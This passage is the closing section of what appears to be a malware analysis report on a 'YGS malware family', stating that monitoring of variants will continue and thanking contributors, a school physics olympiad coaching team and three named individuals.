Furthermore, our team will continue to actively monitor and track all future variants within the YGS malware family.
We would like to extend our sincere gratitude to all members and external contributors who provided invaluable assistance throughout this analysis.
The authors acknowledge the diligent administrative support recieved from the Physics Olympic Coaching Team of Jinan Zhensheng Middle School. Also, special thanks is given to Zining Li, Xiaoru Zhang and Yinxian Li for their continuous support and understanding of this investigation.